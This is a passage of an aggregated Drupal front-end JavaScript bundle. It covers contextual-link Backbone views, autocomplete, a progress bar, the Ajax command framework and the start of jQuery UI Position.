/**
* Renders the visual view of a contextual region element.
*/
Drupal.contextual.RegionView = Backbone.View.extend({
events: function () {
var mapping = {
mouseenter: function () { this.model.set('regionIsHovered', true); },
mouseleave: function () {
this.model.close().blur().set('regionIsHovered', false);
}
};
// We don't want mouse hover events on touch.
if (Modernizr.touch) {
mapping = {};
}
return mapping;
},
/**
* {@inheritdoc}
*/
initialize: function () {
this.listenTo(this.model, 'change:hasFocus', this.render);
},
/**
* {@inheritdoc}
*/
render: function () {
this.$el.toggleClass('focus', this.model.get('hasFocus'));
return this;
}
});
})(Drupal, Backbone, Modernizr);
;
/**
* @file
* A Backbone View that provides the visual view of a contextual link.
*/
(function (Drupal, Backbone, Modernizr) {
"use strict";
/**
* Renders the visual view of a contextual link. Listens to mouse & touch.
*/
Drupal.contextual.VisualView = Backbone.View.extend({
events: function () {
// Prevents delay and simulated mouse events.
var touchEndToClick = function (event) {
event.preventDefault();
event.target.click();
};
var mapping = {
'click .trigger': function () { this.model.toggleOpen(); },
'touchend .trigger': touchEndToClick,
'click .contextual-links a': function () { this.model.close().blur(); },
'touchend .contextual-links a': touchEndToClick
};
// We only want mouse hover events on non-touch.
if (!Modernizr.touch) {
mapping.mouseenter = function () { this.model.focus(); };
}
return mapping;
},
/**
* {@inheritdoc}
*/
initialize: function () {
this.listenTo(this.model, 'change', this.render);
},
/**
* {@inheritdoc}
*/
render: function () {
var isOpen = this.model.get('isOpen');
// The trigger should be visible when:
// - the mouse hovered over the region,
// - the trigger is locked,
// - and for as long as the contextual menu is open.
var isVisible = this.model.get('isLocked') || this.model.get('regionIsHovered') || isOpen;
this.$el
// The open state determines if the links are visible.
.toggleClass('open', isOpen)
// Update the visibility of the trigger.
.find('.trigger').toggleClass('visually-hidden', !isVisible);
// Nested contextual region handling: hide any nested contextual triggers.
if ('isOpen' in this.model.changed) {
this.$el.closest('.contextual-region')
.find('.contextual .trigger:not(:first)')
.toggle(!isOpen);
}
return this;
}
});
})(Drupal, Backbone, Modernizr);
;
(function ($, Drupal) {
"use strict";
var autocomplete;
/**
* Helper splitting terms from the autocomplete value.
*
* @param {String} value
*
* @return {Array}
*/
function autocompleteSplitValues(value) {
// We will match the value against comma-seperated terms.
var result = [];
var quote = false;
var current = '';
var valueLength = value.length;
var i, character;
for (i = 0; i < valueLength; i++) {
character = value.charAt(i);
if (character === '"') {
current += character;
quote = !quote;
}
else if (character === ',' && !quote) {
result.push(current.trim());
current = '';
}
else {
current += character;
}
}
if (value.length > 0) {
result.push($.trim(current));
}
return result;
}
/**
* Returns the last value of an multi-value textfield.
*
* @param {String} terms
*
* @return {String}
*/
function extractLastTerm(terms) {
return autocomplete.splitValues(terms).pop();
}
/**
* The search handler is called before a search is performed.
*
* @param {Object} event
*
* @return {Boolean}
*/
function searchHandler(event) {
// Only search when the term is two characters or larger.
var term = autocomplete.extractLastTerm(event.target.value);
return term.length >= autocomplete.minLength;
}
/**
* jQuery UI autocomplete source callback.
*
* @param {Object} request
* @param {Function} response
*/
function sourceData(request, response) {
/*jshint validthis:true */
var elementId = this.element.attr('id');
if (!(elementId in autocomplete.cache)) {
autocomplete.cache[elementId] = {};
}
/**
* Filter through the suggestions removing all terms already tagged and
* display the available terms to the user.
*
* @param {Object} suggestions
*/
function showSuggestions(suggestions) {
var tagged = autocomplete.splitValues(request.term);
for (var i = 0, il = tagged.length; i < il; i++) {
var index = suggestions.indexOf(tagged[i]);
if (index >= 0) {
suggestions.splice(index, 1);
}
}
response(suggestions);
}
/**
* Transforms the data object into an array and update autocomplete results.
*
* @param {Object} data
*/
function sourceCallbackHandler(data) {
autocomplete.cache[elementId][term] = data;
// Send the new string array of terms to the jQuery UI list.
showSuggestions(data);
}
// Get the desired term and construct the autocomplete URL for it.
var term = autocomplete.extractLastTerm(request.term);
// Check if the term is already cached.
if (autocomplete.cache[elementId].hasOwnProperty(term)) {
showSuggestions(autocomplete.cache[elementId][term]);
}
else {
var options = $.extend({ success: sourceCallbackHandler, data: { q: term } }, autocomplete.ajax);
/*jshint validthis:true */
$.ajax(this.element.attr('data-autocomplete-path'), options);
}
}
/**
* Handles an autocompletefocus event.
*
* @return {Boolean}
*/
function focusHandler() {
return false;
}
/**
* Handles an autocompleteselect event.
*
* @param {Object} event
* @param {Object} ui
*
* @return {Boolean}
*/
function selectHandler(event, ui) {
var terms = autocomplete.splitValues(event.target.value);
// Remove the current input.
terms.pop();
// Add the selected item.
if (ui.item.value.search(",") > 0) {
terms.push('"' + ui.item.value + '"');
}
else {
terms.push(ui.item.value);
}
event.target.value = terms.join(', ');
// Return false to tell jQuery UI that we've filled in the value already.
return false;
}
/**
* Override jQuery UI _renderItem function to output HTML by default.
*
* @param {Object} ul
* @param {Object} item
*
* @return {Object}
*/
function renderItem(ul, item) {
return $("<li>")
.append($("<a>").html(item.label))
.appendTo(ul);
}
/**
* Attaches the autocomplete behavior to all required fields.
*/
Drupal.behaviors.autocomplete = {
attach: function (context) {
// Act on textfields with the "form-autocomplete" class.
var $autocomplete = $(context).find('input.form-autocomplete').once('autocomplete');
if ($autocomplete.length) {
// Use jQuery UI Autocomplete on the textfield.
$autocomplete.autocomplete(autocomplete.options)
.data("ui-autocomplete")
._renderItem = autocomplete.options.renderItem;
}
},
detach: function (context, settings, trigger) {
if (trigger === 'unload') {
$(context).find('input.form-autocomplete')
.removeOnce('autocomplete')
.autocomplete('destroy');
}
}
};
/**
* Autocomplete object implementation.
*/
autocomplete = {
cache: {},
// Exposes methods to allow overriding by contrib.
minLength: 1,
splitValues: autocompleteSplitValues,
extractLastTerm: extractLastTerm,
// jQuery UI autocomplete options.
options: {
source: sourceData,
focus: focusHandler,
search: searchHandler,
select: selectHandler,
renderItem: renderItem
},
ajax: {
dataType: 'json'
}
};
Drupal.autocomplete = autocomplete;
})(jQuery, Drupal);
;
(function ($) {
"use strict";
/**
* A progressbar object. Initialized with the given id. Must be inserted into
* the DOM afterwards through progressBar.element.
*
* method is the function which will perform the HTTP request to get the
* progress bar state. Either "GET" or "POST".
*
* e.g. pb = new Drupal.ProgressBar('myProgressBar');
* some_element.appendChild(pb.element);
*/
Drupal.ProgressBar = function (id, updateCallback, method, errorCallback) {
this.id = id;
this.method = method || 'GET';
this.updateCallback = updateCallback;
this.errorCallback = errorCallback;
// The WAI-ARIA setting aria-live="polite" will announce changes after users
// have completed their current activity and not interrupt the screen reader.
this.element = $('<div class="progress" aria-live="polite"></div>').attr('id', id);
this.element.html('<div class="progress__label"> </div>' +
'<div class="progress__track"><div class="progress__bar"></div></div>' +
'<div class="progress__percentage"></div>' +
'<div class="progress__description"> </div>');
};
$.extend(Drupal.ProgressBar.prototype, {
/**
* Set the percentage and status message for the progressbar.
*/
setProgress: function (percentage, message, label) {
if (percentage >= 0 && percentage <= 100) {
$(this.element).find('div.progress__bar').css('width', percentage + '%');
$(this.element).find('div.progress__percentage').html(percentage + '%');
}
$('div.progress__description', this.element).html(message);
$('div.progress__label', this.element).html(label);
if (this.updateCallback) {
this.updateCallback(percentage, message, this);
}
},
/**
* Start monitoring progress via Ajax.
*/
startMonitoring: function (uri, delay) {
this.delay = delay;
this.uri = uri;
this.sendPing();
},
/**
* Stop monitoring progress via Ajax.
*/
stopMonitoring: function () {
clearTimeout(this.timer);
// This allows monitoring to be stopped from within the callback.
this.uri = null;
},
/**
* Request progress data from server.
*/
sendPing: function () {
if (this.timer) {
clearTimeout(this.timer);
}
if (this.uri) {
var pb = this;
// When doing a post request, you need non-null data. Otherwise a
// HTTP 411 or HTTP 406 (with Apache mod_security) error may result.
$.ajax({
type: this.method,
url: this.uri,
data: '',
dataType: 'json',
success: function (progress) {
// Display errors.
if (progress.status === 0) {
pb.displayError(progress.data);
return;
}
// Update display.
pb.setProgress(progress.percentage, progress.message, progress.label);
// Schedule next timer.
pb.timer = setTimeout(function () { pb.sendPing(); }, pb.delay);
},
error: function (xmlhttp) {
var e = new Drupal.AjaxError(xmlhttp, pb.uri);
pb.displayError('<pre>' + e.message + '</pre>');
}
});
}
},
/**
* Display errors on the page.
*/
displayError: function (string) {
var error = $('<div class="messages messages--error"></div>').html(string);
$(this.element).before(error).hide();
if (this.errorCallback) {
this.errorCallback(this);
}
}
});
})(jQuery);
;
(function ($, window, Drupal, drupalSettings) {
"use strict";
/**
* Provides Ajax page updating via jQuery $.ajax (Asynchronous JavaScript and XML).
*
* Ajax is a method of making a request via JavaScript while viewing an HTML
* page. The request returns an array of commands encoded in JSON, which is
* then executed to make any changes that are necessary to the page.
*
* Drupal uses this file to enhance form elements with #ajax['path'] and
* #ajax['wrapper'] properties. If set, this file will automatically be included
* to provide Ajax capabilities.
*/
Drupal.ajax = Drupal.ajax || {};
/**
* Attaches the Ajax behavior to each Ajax form element.
*/
Drupal.behaviors.AJAX = {
attach: function (context, settings) {
function loadAjaxBehavior(base) {
var element_settings = settings.ajax[base];
if (typeof element_settings.selector === 'undefined') {
element_settings.selector = '#' + base;
}
$(element_settings.selector).once('drupal-ajax', function () {
element_settings.element = this;
Drupal.ajax[element_settings.selector] = new Drupal.ajax(base, this, element_settings);
});
}
// Load all Ajax behaviors specified in the settings.
for (var base in settings.ajax) {
if (settings.ajax.hasOwnProperty(base)) {
loadAjaxBehavior(base);
}
}
// Bind Ajax behaviors to all items showing the class.
$('.use-ajax').once('ajax', function () {
var element_settings = {};
// Clicked links look better with the throbber than the progress bar.
element_settings.progress = { 'type': 'throbber' };
// For anchor tags, these will go to the target of the anchor rather
// than the usual location.
if ($(this).attr('href')) {
element_settings.url = $(this).attr('href');
element_settings.event = 'click';
}
element_settings.accepts = $(this).data('accepts');
element_settings.dialog = $(this).data('dialog-options');
var base = $(this).attr('id');
Drupal.ajax[base] = new Drupal.ajax(base, this, element_settings);
});
// This class means to submit the form to the action using Ajax.
$('.use-ajax-submit').once('ajax', function () {
var element_settings = {};
// Ajax submits specified in this manner automatically submit to the
// normal form action.
element_settings.url = $(this.form).attr('action');
// Form submit button clicks need to tell the form what was clicked so
// it gets passed in the POST request.
element_settings.setClick = true;
// Form buttons use the 'click' event rather than mousedown.
element_settings.event = 'click';
// Clicked form buttons look better with the throbber than the progress bar.
element_settings.progress = { 'type': 'throbber' };
var base = $(this).attr('id');
Drupal.ajax[base] = new Drupal.ajax(base, this, element_settings);
});
}
};
/**
* Extends Error to provide handling for Errors in AJAX
*/
Drupal.AjaxError = function (xmlhttp, uri) {
var statusCode, statusText, pathText, responseText, readyStateText;
if (xmlhttp.status) {
statusCode = "\n" + Drupal.t("An AJAX HTTP error occurred.") + "\n" + Drupal.t("HTTP Result Code: !status", {'!status': xmlhttp.status});
}
else {
statusCode = "\n" + Drupal.t("An AJAX HTTP request terminated abnormally.");
}
statusCode += "\n" + Drupal.t("Debugging information follows.");
pathText = "\n" + Drupal.t("Path: !uri", {'!uri': uri});
statusText = '';
// In some cases, when statusCode === 0, xmlhttp.statusText may not be defined.
// Unfortunately, testing for it with typeof, etc, doesn't seem to catch that
// and the test causes an exception. So we need to catch the exception here.
try {
statusText = "\n" + Drupal.t("StatusText: !statusText", {'!statusText': $.trim(xmlhttp.statusText)});
}
catch (e) {}
responseText = '';
// Again, we don't have a way to know for sure whether accessing
// xmlhttp.responseText is going to throw an exception. So we'll catch it.
try {
responseText = "\n" + Drupal.t("ResponseText: !responseText", {'!responseText': $.trim(xmlhttp.responseText) });
}
catch (e) {}
// Make the responseText more readable by stripping HTML tags and newlines.
responseText = responseText.replace(/<("[^"]*"|'[^']*'|[^'">])*>/gi, "");
responseText = responseText.replace(/[\n]+\s+/g, "\n");
// We don't need readyState except for status == 0.
readyStateText = xmlhttp.status === 0 ? ("\n" + Drupal.t("ReadyState: !readyState", {'!readyState': xmlhttp.readyState})) : "";
this.message = statusCode + pathText + statusText + responseText + readyStateText;
this.name = 'AjaxError';
};
Drupal.AjaxError.prototype = new Error();
Drupal.AjaxError.prototype.constructor = Drupal.AjaxError;
/**
* Ajax object.
*
* All Ajax objects on a page are accessible through the global Drupal.ajax
* object and are keyed by the submit button's ID. You can access them from
* your module's JavaScript file to override properties or functions.
*
* For example, if your Ajax enabled button has the ID 'edit-submit', you can
* redefine the function that is called to insert the new content like this
* (inside a Drupal.behaviors attach block):
* @code
* Drupal.behaviors.myCustomAJAXStuff = {
* attach: function (context, settings) {
* Drupal.ajax['edit-submit'].commands.insert = function (ajax, response, status) {
* new_content = $(response.data);
* $('#my-wrapper').append(new_content);
* alert('New content was appended to #my-wrapper');
* }
* }
* };
* @endcode
*/
Drupal.ajax = function (base, element, element_settings) {
var defaults = {
event: 'mousedown',
keypress: true,
selector: '#' + base,
effect: 'none',
speed: 'none',
method: 'replaceWith',
progress: {
type: 'throbber',
message: Drupal.t('Please wait...')
},
submit: {
'js': true
}
};
$.extend(this, defaults, element_settings);
this.commands = new Drupal.AjaxCommands();
// @todo Remove this after refactoring the PHP code to:
// - Call this 'selector'.
// - Include the '#' for ID-based selectors.
// - Support non-ID-based selectors.
if (this.wrapper) {
this.wrapper = '#' + this.wrapper;
}
this.element = element;
this.element_settings = element_settings;
// If there isn't a form, jQuery.ajax() will be used instead, allowing us to
// bind Ajax to links as well.
if (this.element.form) {
this.$form = $(this.element.form);
}
// If no Ajax callback URL was given, use the link href or form action.
if (!this.url) {
if ($(element).is('a')) {
this.url = $(element).attr('href');
}
else if (element.form) {
this.url = this.$form.attr('action');
// @todo If there's a file input on this form, then jQuery will submit the
// AJAX response with a hidden Iframe rather than the XHR object. If the
// response to the submission is an HTTP redirect, then the Iframe will
// follow it, but the server won't content negotiate it correctly,
// because there won't be an ajax_iframe_upload POST variable. Until we
// figure out a work around to this problem, we prevent AJAX-enabling
// elements that submit to the same URL as the form when there's a file
// input. For example, this means the Delete button on the edit form of
// an Article node doesn't open its confirmation form in a dialog.
if (this.$form.find(':file').length) {
return;
}
}
}
// Replacing 'nojs' with 'ajax' in the URL allows for an easy method to let
// the server detect when it needs to degrade gracefully.
// There are four scenarios to check for:
// 1. /nojs/
// 2. /nojs$ - The end of a URL string.
// 3. /nojs? - Followed by a query (e.g. path/nojs?destination=foobar).
// 4. /nojs# - Followed by a fragment (e.g.: path/nojs#myfragment).
this.url = this.url.replace(/\/nojs(\/|$|\?|#)/g, '/ajax$1');
// Set the options for the ajaxSubmit function.
// The 'this' variable will not persist inside of the options object.
var ajax = this;
ajax.options = {
url: ajax.url,
data: ajax.submit,
beforeSerialize: function (element_settings, options) {
return ajax.beforeSerialize(element_settings, options);
},
beforeSubmit: function (form_values, element_settings, options) {
ajax.ajaxing = true;
return ajax.beforeSubmit(form_values, element_settings, options);
},
beforeSend: function (xmlhttprequest, options) {
ajax.ajaxing = true;
return ajax.beforeSend(xmlhttprequest, options);
},
success: function (response, status) {
// Sanity check for browser support (object expected).
// When using iFrame uploads, responses must be returned as a string.
if (typeof response === 'string') {
response = $.parseJSON(response);
}
return ajax.success(response, status);
},
complete: function (response, status) {
ajax.ajaxing = false;
if (status === 'error' || status === 'parsererror') {
return ajax.error(response, ajax.url);
}
},
dataType: 'json',
accepts: {
json: element_settings.accepts || 'application/vnd.drupal-ajax'
},
type: 'POST'
};
if (element_settings.dialog) {
ajax.options.data.dialogOptions = element_settings.dialog;
}
// Bind the ajaxSubmit function to the element event.
$(ajax.element).on(element_settings.event, function (event) {
return ajax.eventResponse(this, event);
});
// If necessary, enable keyboard submission so that Ajax behaviors
// can be triggered through keyboard input as well as e.g. a mousedown
// action.
if (element_settings.keypress) {
$(ajax.element).on('keypress', function (event) {
return ajax.keypressResponse(this, event);
});
}
// If necessary, prevent the browser default action of an additional event.
// For example, prevent the browser default action of a click, even if the
// AJAX behavior binds to mousedown.
if (element_settings.prevent) {
$(ajax.element).on(element_settings.prevent, false);
}
};
/**
* Handle a key press.
*
* The Ajax object will, if instructed, bind to a key press response. This
* will test to see if the key press is valid to trigger this event and
* if it is, trigger it for us and prevent other keypresses from triggering.
* In this case we're handling RETURN and SPACEBAR keypresses (event codes 13
* and 32. RETURN is often used to submit a form when in a textfield, and
* SPACE is often used to activate an element without submitting.
*/
Drupal.ajax.prototype.keypressResponse = function (element, event) {
// Create a synonym for this to reduce code confusion.
var ajax = this;
// Detect enter key and space bar and allow the standard response for them,
// except for form elements of type 'text', 'tel', 'number' and 'textarea',
// where the spacebar activation causes inappropriate activation if
// #ajax['keypress'] is TRUE. On a text-type widget a space should always be a
// space.
if (event.which === 13 || (event.which === 32 && element.type !== 'text' &&
element.type !== 'textarea' && element.type !== 'tel' && element.type !== 'number')) {
event.preventDefault();
event.stopPropagation();
$(ajax.element_settings.element).trigger(ajax.element_settings.event);
}
};
/**
* Handle an event that triggers an Ajax response.
*
* When an event that triggers an Ajax response happens, this method will
* perform the actual Ajax call. It is bound to the event using
* bind() in the constructor, and it uses the options specified on the
* ajax object.
*/
Drupal.ajax.prototype.eventResponse = function (element, event) {
event.preventDefault();
event.stopPropagation();
// Create a synonym for this to reduce code confusion.
var ajax = this;
// Do not perform another ajax command if one is already in progress.
if (ajax.ajaxing) {
return;
}
try {
if (ajax.$form) {
// If setClick is set, we must set this to ensure that the button's
// value is passed.
if (ajax.setClick) {
// Mark the clicked button. 'form.clk' is a special variable for
// ajaxSubmit that tells the system which element got clicked to
// trigger the submit. Without it there would be no 'op' or
// equivalent.
element.form.clk = element;
}
ajax.$form.ajaxSubmit(ajax.options);
}
else {
ajax.beforeSerialize(ajax.element, ajax.options);
$.ajax(ajax.options);
}
}
catch (e) {
// Unset the ajax.ajaxing flag here because it won't be unset during
// the complete response.
ajax.ajaxing = false;
window.alert("An error occurred while attempting to process " + ajax.options.url + ": " + e.message);
}
};
/**
* Handler for the form serialization.
*
* Runs before the beforeSend() handler (see below), and unlike that one, runs
* before field data is collected.
*/
Drupal.ajax.prototype.beforeSerialize = function (element, options) {
// Allow detaching behaviors to update field values before collecting them.
// This is only needed when field values are added to the POST data, so only
// when there is a form such that this.$form.ajaxSubmit() is used instead of
// $.ajax(). When there is no form and $.ajax() is used, beforeSerialize()
// isn't called, but don't rely on that: explicitly check this.$form.
if (this.$form) {
var settings = this.settings || drupalSettings;
Drupal.detachBehaviors(this.$form.get(0), settings, 'serialize');
}
// Prevent duplicate HTML ids in the returned markup.
// @see drupal_html_id()
var ids = document.querySelectorAll('[id]');
var ajaxHtmlIds = [];
for (var i = 0, il = ids.length; i < il; i++) {
ajaxHtmlIds.push(ids[i].id);
}
// Join IDs to minimize request size.
options.data.ajax_html_ids = ajaxHtmlIds.join(' ');
// Allow Drupal to return new JavaScript and CSS files to load without
// returning the ones already loaded.
// @see \Drupal\Core\Theme\AjaxBasePageNegotiator
// @see drupal_get_css()
// @see drupal_get_js()
var pageState = drupalSettings.ajaxPageState;
options.data['ajax_page_state[theme]'] = pageState.theme;
options.data['ajax_page_state[theme_token]'] = pageState.theme_token;
for (var cssFile in pageState.css) {
if (pageState.css.hasOwnProperty(cssFile)) {
options.data['ajax_page_state[css][' + cssFile + ']'] = 1;
}
}
for (var jsFile in pageState.js) {
if (pageState.js.hasOwnProperty(jsFile)) {
options.data['ajax_page_state[js][' + jsFile + ']'] = 1;
}
}
};
/**
* Modify form values prior to form submission.
*/
Drupal.ajax.prototype.beforeSubmit = function (form_values, element, options) {
// This function is left empty to make it simple to override for modules
// that wish to add functionality here.
};
/**
* Prepare the Ajax request before it is sent.
*/
Drupal.ajax.prototype.beforeSend = function (xmlhttprequest, options) {
// For forms without file inputs, the jQuery Form plugin serializes the form
// values, and then calls jQuery's $.ajax() function, which invokes this
// handler. In this circumstance, options.extraData is never used. For forms
// with file inputs, the jQuery Form plugin uses the browser's normal form
// submission mechanism, but captures the response in a hidden IFRAME. In this
// circumstance, it calls this handler first, and then appends hidden fields
// to the form to submit the values in options.extraData. There is no simple
// way to know which submission mechanism will be used, so we add to extraData
// regardless, and allow it to be ignored in the former case.
if (this.$form) {
options.extraData = options.extraData || {};
// Let the server know when the IFRAME submission mechanism is used. The
// server can use this information to wrap the JSON response in a TEXTAREA,
// as per http://jquery.malsup.com/form/#file-upload.
options.extraData.ajax_iframe_upload = '1';
// The triggering element is about to be disabled (see below), but if it
// contains a value (e.g., a checkbox, textfield, select, etc.), ensure that
// value is included in the submission. As per above, submissions that use
// $.ajax() are already serialized prior to the element being disabled, so
// this is only needed for IFRAME submissions.
var v = $.fieldValue(this.element);
if (v !== null) {
options.extraData[this.element.name] = v;
}
}
// Disable the element that received the change to prevent user interface
// interaction while the Ajax request is in progress. ajax.ajaxing prevents
// the element from triggering a new request, but does not prevent the user
// from changing its value.
$(this.element).addClass('progress-disabled').prop('disabled', true);
// Insert progressbar or throbber.
if (this.progress.type === 'bar') {
var progressBar = new Drupal.ProgressBar('ajax-progress-' + this.element.id, $.noop, this.progress.method, $.noop);
if (this.progress.message) {
progressBar.setProgress(-1, this.progress.message);
}
if (this.progress.url) {
progressBar.startMonitoring(this.progress.url, this.progress.interval || 1500);
}
this.progress.element = $(progressBar.element).addClass('ajax-progress ajax-progress-bar');
this.progress.object = progressBar;
$(this.element).after(this.progress.element);
}
else if (this.progress.type === 'throbber') {
this.progress.element = $('<div class="ajax-progress ajax-progress-throbber"><div class="throbber"> </div></div>');
if (this.progress.message) {
this.progress.element.find('.throbber').after('<div class="message">' + this.progress.message + '</div>');
}
$(this.element).after(this.progress.element);
}
else if (this.progress.type === 'fullscreen') {
this.progress.element = $('<div class="ajax-progress ajax-progress-fullscreen"> </div>');
$('body').after(this.progress.element);
}
};
/**
* Handler for the form redirection completion.
*/
Drupal.ajax.prototype.success = function (response, status) {
// Remove the progress element.
if (this.progress.element) {
$(this.progress.element).remove();
}
if (this.progress.object) {
this.progress.object.stopMonitoring();
}
$(this.element).removeClass('progress-disabled').prop('disabled', false);
for (var i in response) {
if (response.hasOwnProperty(i) && response[i].command && this.commands[response[i].command]) {
this.commands[response[i].command](this, response[i], status);
}
}
// Reattach behaviors, if they were detached in beforeSerialize(). The
// attachBehaviors() called on the new content from processing the response
// commands is not sufficient, because behaviors from the entire form need
// to be reattached.
if (this.$form) {
var settings = this.settings || drupalSettings;
Drupal.attachBehaviors(this.$form.get(0), settings);
}
// Remove any response-specific settings so they don't get used on the next
// call by mistake.
this.settings = null;
};
/**
* Build an effect object which tells us how to apply the effect when adding new HTML.
*/
Drupal.ajax.prototype.getEffect = function (response) {
var type = response.effect || this.effect;
var speed = response.speed || this.speed;
var effect = {};
if (type === 'none') {
effect.showEffect = 'show';
effect.hideEffect = 'hide';
effect.showSpeed = '';
}
else if (type === 'fade') {
effect.showEffect = 'fadeIn';
effect.hideEffect = 'fadeOut';
effect.showSpeed = speed;
}
else {
effect.showEffect = type + 'Toggle';
effect.hideEffect = type + 'Toggle';
effect.showSpeed = speed;
}
return effect;
};
/**
* Handler for the form redirection error.
*/
Drupal.ajax.prototype.error = function (response, uri) {
// Remove the progress element.
if (this.progress.element) {
$(this.progress.element).remove();
}
if (this.progress.object) {
this.progress.object.stopMonitoring();
}
// Undo hide.
$(this.wrapper).show();
// Re-enable the element.
$(this.element).removeClass('progress-disabled').prop('disabled', false);
// Reattach behaviors, if they were detached in beforeSerialize().
if (this.$form) {
var settings = response.settings || this.settings || drupalSettings;
Drupal.attachBehaviors(this.$form.get(0), settings);
}
throw new Drupal.AjaxError(response, uri);
};
/**
* Provide a series of commands that the server can request the client perform.
*/
Drupal.AjaxCommands = function () {};
Drupal.AjaxCommands.prototype = {
/**
* Command to insert new content into the DOM.
*/
insert: function (ajax, response, status) {
// Get information from the response. If it is not there, default to
// our presets.
var wrapper = response.selector ? $(response.selector) : $(ajax.wrapper);
var method = response.method || ajax.method;
var effect = ajax.getEffect(response);
var settings;
// We don't know what response.data contains: it might be a string of text
// without HTML, so don't rely on jQuery correctly iterpreting
// $(response.data) as new HTML rather than a CSS selector. Also, if
// response.data contains top-level text nodes, they get lost with either
// $(response.data) or $('<div></div>').replaceWith(response.data).
var new_content_wrapped = $('<div></div>').html(response.data);
var new_content = new_content_wrapped.contents();
// For legacy reasons, the effects processing code assumes that new_content
// consists of a single top-level element. Also, it has not been
// sufficiently tested whether attachBehaviors() can be successfully called
// with a context object that includes top-level text nodes. However, to
// give developers full control of the HTML appearing in the page, and to
// enable Ajax content to be inserted in places where DIV elements are not
// allowed (e.g., within TABLE, TR, and SPAN parents), we check if the new
// content satisfies the requirement of a single top-level element, and
// only use the container DIV created above when it doesn't. For more
// information, please see http://drupal.org/node/736066.
if (new_content.length !== 1 || new_content.get(0).nodeType !== 1) {
new_content = new_content_wrapped;
}
// If removing content from the wrapper, detach behaviors first.
switch (method) {
case 'html':
case 'replaceWith':
case 'replaceAll':
case 'empty':
case 'remove':
settings = response.settings || ajax.settings || drupalSettings;
Drupal.detachBehaviors(wrapper.get(0), settings);
}
// Add the new content to the page.
wrapper[method](new_content);
// Immediately hide the new content if we're using any effects.
if (effect.showEffect !== 'show') {
new_content.hide();
}
// Determine which effect to use and what content will receive the
// effect, then show the new content.
if (new_content.find('.ajax-new-content').length > 0) {
new_content.find('.ajax-new-content').hide();
new_content.show();
new_content.find('.ajax-new-content')[effect.showEffect](effect.showSpeed);
}
else if (effect.showEffect !== 'show') {
new_content[effect.showEffect](effect.showSpeed);
}
// Attach all JavaScript behaviors to the new content, if it was successfully
// added to the page, this if statement allows #ajax['wrapper'] to be
// optional.
if (new_content.parents('html').length > 0) {
// Apply any settings from the returned JSON if available.
settings = response.settings || ajax.settings || drupalSettings;
Drupal.attachBehaviors(new_content.get(0), settings);
}
},
/**
* Command to remove a chunk from the page.
*/
remove: function (ajax, response, status) {
var settings = response.settings || ajax.settings || drupalSettings;
$(response.selector).each(function () {
Drupal.detachBehaviors(this, settings);
})
.remove();
},
/**
* Command to mark a chunk changed.
*/
changed: function (ajax, response, status) {
if (!$(response.selector).hasClass('ajax-changed')) {
$(response.selector).addClass('ajax-changed');
if (response.asterisk) {
$(response.selector).find(response.asterisk).append(' <abbr class="ajax-changed" title="' + Drupal.t('Changed') + '">*</abbr> ');
}
}
},
/**
* Command to provide an alert.
*/
alert: function (ajax, response, status) {
window.alert(response.text, response.title);
},
/**
* Command to set the window.location, redirecting the browser.
*/
redirect: function (ajax, response, status) {
window.location = response.url;
},
/**
* Command to provide the jQuery css() function.
*/
css: function (ajax, response, status) {
$(response.selector).css(response.argument);
},
/**
* Command to set the settings that will be used for other commands in this response.
*/
settings: function (ajax, response, status) {
if (response.merge) {
$.extend(true, drupalSettings, response.settings);
}
else {
ajax.settings = response.settings;
}
},
/**
* Command to attach data using jQuery's data API.
*/
data: function (ajax, response, status) {
$(response.selector).data(response.name, response.value);
},
/**
* Command to apply a jQuery method.
*/
invoke: function (ajax, response, status) {
var $element = $(response.selector);
$element[response.method].apply($element, response.args);
},
/**
* Command to restripe a table.
*/
restripe: function (ajax, response, status) {
// :even and :odd are reversed because jQuery counts from 0 and
// we count from 1, so we're out of sync.
// Match immediate children of the parent element to allow nesting.
$(response.selector).find('> tbody > tr:visible, > tr:visible')
.removeClass('odd even')
.filter(':even').addClass('odd').end()
.filter(':odd').addClass('even');
},
/**
* Command to add css.
*
* Uses the proprietary addImport method if available as browsers which
* support that method ignore @import statements in dynamically added
* stylesheets.
*/
add_css: function (ajax, response, status) {
// Add the styles in the normal way.
$('head').prepend(response.data);
// Add imports in the styles using the addImport method if available.
var match, importMatch = /^@import url\("(.*)"\);$/igm;
if (document.styleSheets[0].addImport && importMatch.test(response.data)) {
importMatch.lastIndex = 0;
do {
match = importMatch.exec(response.data);
document.styleSheets[0].addImport(match[1]);
} while (match);
}
}
};
})(jQuery, this, Drupal, drupalSettings);
;
/*!
* jQuery UI Position 1.10.2
* http://jqueryui.com
*
* Copyright 2013 jQuery Foundation and other contributors
* Released under the MIT license.
* http://jquery.org/license
*
* http://api.jqueryui.com/position/
*/
(function( $, undefined ) {
$.ui = $.ui || {};
var cachedScrollbarWidth,
max = Math.max,
abs = Math.abs,
round = Math.round,
rhorizontal = /left|center|right/,
rvertical = /top|center|bottom/,
roffset = /[\+\-]\d+(\.[\d]+)?%?/,
rposition = /^\w+/,
rpercent = /%$/,
_position = $.fn.position;
function getOffsets( offsets, width, height ) {
return [
parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
];
}
function parseCss( element, property ) {
return parseInt( $.css( element, property ), 10 ) || 0;
}
function getDimensions( elem ) {
var raw = elem[0];
if ( raw.nodeType === 9 ) {
return {
width: elem.width(),
height: elem.height(),
offset: { top: 0, left: 0 }
};
}
if ( $.isWindow( raw ) ) {
return {
width: elem.width(),
height: elem.height(),
offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
};
}
if ( raw.preventDefault ) {
return {
width: 0,
height: 0,
offset: { top: raw.pageY, left: raw.pageX }
};
}
return {
width: elem.outerWidth(),
height: elem.outerHeight(),
offset: elem.offset()
};
}
$.position = {
scrollbarWidth: function() {
if ( cachedScrollbarWidth !== undefined ) {
return cachedScrollbarWidth;
}
var w1, w2,
div = $( "<div style='display:block;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>" ),
innerDiv = div.children()[0];
$( "body" ).append( div );
w1 = innerDiv.offsetWidth;
div.css( "overflow", "scroll" );
w2 = innerDiv.offsetWidth;
if ( w1 === w2 ) {
w2 = div[0].clientWidth;
}
div.remove();
return (cachedScrollbarWidth = w1 - w2);
},
getScrollInfo: function( within ) {
var overflowX = within.isWindow ? "" : within.element.css( "overflow-x" ),
overflowY = within.isWindow ? "" : within.element.css( "overflow-y" ),
hasOverflowX = overflowX === "scroll" ||
( overflowX === "auto" && within.width < within.element[0].scrollWidth ),
hasOverflowY = overflowY === "scroll" ||
